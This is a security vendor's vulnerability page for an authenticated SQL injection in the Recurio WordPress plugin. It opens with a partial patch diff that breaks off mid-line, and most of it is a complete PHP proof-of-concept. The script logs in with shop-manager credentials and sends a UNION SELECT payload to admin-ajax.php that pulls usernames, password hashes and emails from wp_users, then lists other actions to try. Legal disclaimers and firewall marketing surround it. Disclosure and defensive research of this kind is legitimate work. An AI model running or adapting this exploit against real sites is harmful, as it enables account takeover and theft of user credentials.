--- a/recurio/includes/install/class-db-migrations.php
+++ b/recurio/includes/install/class-db-migrations.php
@@ -69,35 +69,42 @@
 		}

 		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- One-time migration
+		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input; DDL has no value to prepare
 		$columns = $wpdb->get_col( "SHOW COLUMNS FROM {$table_name}" );

 		if ( ! in_array( 'access_duration_value', $columns, true ) ) {
 			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.SchemaChange -- One-time ALTER
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input; DDL has no value to prepare
 			$wpdb->query( "ALTER TABLE {$table_name} ADD COLUMN access_duration_value INT DEFAULT 1 AFTER access_timing" );
 		}

 		if ( ! in_array( 'access_duration_unit', $columns, true ) ) {
 			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.SchemaChange -- One-time ALTER
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input; DDL has no value to prepare
 			$wpdb->query( "ALTER TABLE {$table_name} ADD COLUMN access_duration_unit VARCHAR(20) DEFAULT 'month' AFTER access_duration_value" );
 		}

 		if ( ! in_array( 'access_end_date', $columns, true ) ) {
 			//

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12936 - Recurio <= 1.1.3 - Authenticated (Shop Manager+) SQL Injection via 'data' Parameter

// Configuration - set these before running
$target_url = 'http://example.com'; // Target WordPress site URL (no trailing slash)
$username = 'shopmanager';           // WordPress username with Shop Manager role
$password = 'password123';           // Password for the user

// Step 1: Authenticate and get WordPress cookie
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Verify authentication by checking for admin bar or cookie
// Step 2: Send AJAX request with SQL injection payload
// The 'data' parameter contains a JSON object that will be parsed by the plugin
// We inject a UNION SELECT into the search field to extract user credentials

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Injection payload: The search parameter is passed to a WHERE clause
// We use a UNION SELECT to extract user_login and user_pass from wp_users
$payload = "' UNION SELECT user_login,user_pass,user_email,user_registered,display_name,ID,user_activation_key,user_status FROM wp_users-- -";

$ajax_data = array(
    'action' => 'recurio_get_subscriptions',  // Sample vulnerable AJAX action
    'data' => json_encode(array(
        'search' => $payload,
        'per_page' => 10,
        'page' => 1
    ))
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Output the response to see if injection succeeded
echo "Response from AJAX call:n";
echo $response;
echo "nn";

// If we got a JSON response with user data, the injection worked
$decoded = json_decode($response, true);
if (is_array($decoded) && isset($decoded['data'])) {
    echo "[+] SQL Injection appears successful - extracted data:n";
    print_r($decoded['data']);
} else {
    echo "[-] Check response manually. The injection may need different payload or action name.n";
    echo "    Try alternative actions: recurio_plans_list, recurio_customers_list, recurio_export_subscriptionsn";
}

// Clean up cookie file
@unlink('/tmp/cve_cookies.txt');

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.